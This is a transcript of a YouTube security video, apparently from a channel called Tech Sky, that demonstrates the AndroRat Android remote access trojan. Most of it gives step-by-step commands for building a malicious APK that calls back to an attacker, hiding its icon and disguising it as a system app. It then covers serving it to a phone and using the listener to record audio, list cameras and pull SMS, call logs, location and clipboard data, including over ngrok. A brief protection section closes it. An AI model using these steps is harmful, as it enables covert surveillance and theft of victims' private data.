0:00 What if I told you that right now, someone could be secretly watching you through your phone's camera. And someone could be listening to your conversations, even when you're not on a call. But here's the most disturbing part. They could be reading your private messages, tracking your location, and accessing your personal photos, without you having any idea it's happening. Welcome back to Tech Sky. Today, we're exposing one of the most dangerous tools hackers use to completely take over Android devices, AndroRat. I'll show you exactly how attackers can create malicious applications that give them full control over a target's phone, accessing everything from cameras and microphones to messages and location data. More importantly,
0:50 you'll learn how to protect your devices from these devastating attacks. Before we begin, I need to make something absolutely clear. Everything demonstrated in this video is strictly for educational purposes only. The knowledge you're about to gain comes with significant responsibility. Understanding these techniques is crucial for recognizing and defending against these attacks, but using these methods to target actual people is not only unethical but illegal in most jurisdictions worldwide. All our demonstrations today will be performed in a controlled laboratory environment using our own testing devices. we will not be targeting any real users or devices. Today's video is comprehensive and packed with detailed information, so grab your
1:37 notebook. We're going to cover everything from setting up AndroRat to creating malicious applications and seeing just how much access these tools can provide to attackers. Your smartphone, that intimate extension of yourself, can be weaponized against you in seconds. That innocent-looking app you just downloaded? It might have already given a stranger complete access to your digital life. The genius of these attacks lies in their invisibility. No glitches, no slowdowns, no warnings. Just silent surveillance as someone halfway across the world, browses through your gallery, reads your messages, and tracks your every move. The most successful predators aren't the ones that announce their presence. They're the ones you
2:24 never spot until it's too late. Let's pull back the curtain on how these invisible attacks work, not to scare you, but to arm you with the knowledge that might save you from becoming the next unwitting victim. As always, we'll start by updating our Kali Linux system. Open your terminal and run sudo apt update. This command refreshes our package database, ensuring we have the latest information about available software. Keeping your system updated is a fundamental security practice. Next, let's run sudo apt upgrade. When prompted, type y to continue. This installs the newest versions of all packages on our system. This might take a few minutes depending on how many updates are available. Now we need to install AndroRat.
3:14 Unlike some tools, AndroRat isn't included in the default Kali Linux repositories, so we'll need to download it from GitHub. Open your browser and search for AndroRat. Click on the first result, to open the GitHub repository. This is the official repository for the AndroRat tool. Now we need to clone this repository to our local machine. Copy the URL from the address bar or from the code button on the page. Return to your terminal and type git clone, followed by pasting the URL you just copied. Press Enter to start the cloning process. Once the repository is cloned, we need to navigate the AndroRat directory. type cd androar a t and press enter. Let's see what files we have by typing ls. You should see various files including
4:03 a requirements.txt file, which contains all the Python dependencies we'll need to install. Before installing the requirements, it's a good practice to create a virtual environment to keep our project dependencies isolated. This prevents conflicts between different Python projects. Type python3-m venv venv to create a virtual environment named venv. Now we need to activate this virtual environment. Type source venv slash bin slash activate and press enter. You should notice your terminal prompt change indicating that the virtual environment is now active. With our virtual environment set up, let's install the required dependencies by typing pip3 install dash r requirements dot txt. This might take a minute as it
4:52 downloads and installs all the necessary packages. Now that AndroRat is installed, we need to know our attacker machine's IP address to create our malicious application. Type ifconfig in the terminal and look for your machine's IP address, typically under the eth0 or wlan0 interface. Make a note of this IP address. We'll need it in the next step. Now we're ready to create our malicious APK file. The APK is what will be installed on the target device, establishing a connection back to our attacker machine. Type python3 androrat.py double dash build dash i, followed by your IP address, then dash p8000-o rat.apk
5:37 and press enter. Let me break down this command. Python 3 androrat.py launches the androrat tool. Build tells it to create a malicious APK file. I followed by your IP address specifies where the infected device should connect back to. P8000 sets the port number for the connection. And O-RAT.APK names our output file, RAT.APK. I should mention that AndroRAT also allows you to customize the app icon to make it look legitimate, using the dash icon parameter, followed by the path to an icon file. Attackers often use familiar logos like Google, Facebook, or system app icons to trick users into trusting the app. For our demonstration, we won't
6:24 use this option because without specifying an icon, the app will automatically hide itself after installation, making it even harder to detect. You'll see AndroRat start generating the APK file. What's happening behind the scenes is that the tool is creating an Android application embedded with malicious code that will connect back to our machine when installed. This process creates a fully functional Android application that appears legitimate to users, but contains hidden functionality that allows remote control of the device. The generation might take a minute or two to complete. Once finished, you should see a message indicating that the APK has been created successfully. The APK file is saved in your current
7:09 directory. In real attack scenarios, hackers use various social engineering techniques to trick users into installing malicious applications. They might disguise the app as a game, utility, or even a security tool. They could distribute it via phishing emails, fake websites, or third-party app stores. For our educational demonstration, we'll use a simple method to transfer the APK to our test device. Let's move the APK file to our Documents folder for easier access. Then we'll create a simple web server to allow our test device to download the file. Navigate to where you saved the APK file and type python3-mhttp.server8080 to start a web
7:55 server on port 8080. Now, on your test Android device, open a web browser and enter your attacker machine's IP address followed by colon 8080 in the address bar. For example, If your IP is 192.168.100.13, you would enter 192.168.100.13, colon 8080. You should see a directory listing that includes our rat.apk file. Tap on it to download the file to your Android device. Once downloaded, tap on the file to begin installation. You'll likely see warnings about installing apps from unknown sources. These are security features designed to protect users from exactly this type of attack. For our demonstration purposes,
8:45 we'll proceed with the installation, but in real life, these warnings should be taken very seriously. After installation, open the app and grant it the permissions it requests. In a real attack scenario, social engineering would be used to convince the victim that these permission requests are legitimate and necessary. the app might disguise itself with an icon and name that appears to be a system application like Google Services Framework to avoid suspicion. Notice that after installation and initial launch, the app icon might disappear from the home screen. This is a technique used by malware to hide itself from the user while continuing to run in the background. Now that our malicious app is installed on the target device, let's return to our attacker machine and set up
9:33 a listener to receive the connection. In your terminal, where AndroRat is installed, type python3 androrat.py, dash dash shell, dash i, your IP address, dash p, 8000, and press enter. This command starts AndroRat in listening mode, waiting for the infected device to connect back to us. Within moments, you should see a message indicating that a device has connected. This means our malicious app has successfully established a connection back to our attacker machine, and we now have remote access to the target device. You'll be presented with an interpreter prompt where you can enter various commands to control the target device. Let's explore some of the capabilities this gives us. First, let's see what cameras are available
10:22 on the device. Type cam list and press enter. This command returns a list of available cameras on the device. typically showing both front and back cameras with their index numbers. Using these camera indices, we could take pictures or record videos without the user's knowledge. This is extremely invasive and demonstrates why these tools are so dangerous. Now, let's try recording audio from the device's microphone. Type start audio and press enter. This command activates the microphone on the target device and begins recording audio. The device gives no indication that this is happening. The user would have no idea their conversations are being recorded. After a few moments, type stop audio to stop the
11:08 recording. The recorded audio file is automatically saved in AndroRat's dumps folder. Let's check if the audio was successfully saved. Open the dumps folder, and you should see an audio file. Play it, and you'll hear whatever was captured from the target device's microphone. This could include private conversations, sensitive information, or any ambient audio near the device. Next, let's access the device's SMS messages. Type Get SMS Inbox and press Enter. This command retrieves all incoming text messages from the target device and saves them to the Dumps folder. Similarly, you can type Get SMS Sent to retrieve outgoing messages. This gives the attacker access
11:54 to all text communications. which often contain personal information, authentication codes, or private conversations. Let's try accessing call logs. Type get call logs and press enter. This command retrieves the device's call history, showing who the user has been communicating with. One of the most concerning capabilities is location tracking. Type get location and press enter. This command retrieves the current GPS coordinates of the target device. effectively allowing an attacker to track someone's physical location. Another powerful feature is clipboard access. Type get clip data and press enter. This command retrieves whatever information is currently stored in the device's clipboard. This could include
12:42 passwords, private messages, or any other text the user has copied. For a bit of mischief, you can even control the device's vibration function. Type vibrate 5 and press enter. This causes the target device to vibrate five times. While seemingly harmless, this demonstrates the level of control an attacker has over the physical functions of the device. Everything we've demonstrated so far works when both the attacker and target are on the same network. However, attackers rarely have this luxury in real-world scenarios. Instead, they need to establish connections over the Internet. AndroRat includes functionality to work with ngrok, a service that creates secure tunnels to expose local servers
13:31 to the internet. This would allow an attacker to control devices from anywhere in the world. Let me show you an even simpler way to create a malicious APK that works over the internet. Type python3 androRat.py dash dash build dash dash ngrok dash o devil.apk and press enter. this command automatically handles the entire process. It creates the malicious APK file and starts the listener using ngrok's service. If ngrok isn't already installed, AndroRat will install it for you. You would then need to set up an ngrok account and configure it according to their requirements. The advantage of this method is that it automatically sets up a public URL that can be accessed from anywhere. The generated
14:19 APK will connect back to your machine through ngrok's servers, regardless of what network the target device is on. This capability makes tools like AndroRat even more dangerous, as the attacker doesn't need to be physically near the target to maintain control of their device. The victim could be anywhere in the world, and the attacker would still have full access to their device. Now that we understand the severe threats posed by tools like AndroRat, Let's discuss how to protect yourself. Only download apps from official sources like the Google Play Store. While not foolproof, Google does scan apps for malicious code before allowing them on their platform. Always check app
15:05 permissions carefully. Be suspicious if a simple app requests extensive permissions that seem unnecessary for its stated functionality. Keep your device updated with the latest security patches. Many attacks exploit known vulnerabilities that are fixed in newer software versions. Install a reputable mobile security solution that can detect and remove malware. Be extremely cautious about installing apps from links sent via email, messaging apps, or social media, even if they appear to come from people you know. Regularly check your installed apps and remove anything you don't recognize or no longer use. Watch for unusual behavior on your device. such as rapid battery drain, unexpected performance issues, or the device getting unusually hot
15:53 when not in use. Consider using app lockers or secure folders for sensitive applications like banking or email apps. Today, we've seen the alarming capabilities of AndroRat and similar remote access tools. From accessing cameras and microphones to reading private messages and tracking location, these tools give attackers unprecedented access to victims' personal lives. What makes these attacks particularly concerning is how they abuse the trust user's place in their devices. Our phones contain our most personal information and travel with us everywhere, making them the perfect target for those with malicious intent. Remember, the knowledge shared in this video is meant to help
16:38 you understand these threats and protect against them, never to cause harm. always operate within legal and ethical boundaries. If you found this demonstration valuable for your security journey, smash that like button right now. It really helps the channel reach more people who need this critical information. And if you haven't already, hit subscribe and turn on notifications so you never miss our latest security insights. Share this video with your friends and family. You might be helping someone avoid becoming a victim of these attacks. The more people understand these threats, the safer we all become. I love hearing from you, so drop a comment sharing your thoughts on mobile security, or suggesting what security topic you'd like me to cover next. Your feedback shapes the future content of this channel,
17:26 and I read every single comment. Remember, knowledge is power, but with power comes responsibility. Until next time, stay curious, stay ethical, and keep learning. This is TechSky, signing off.
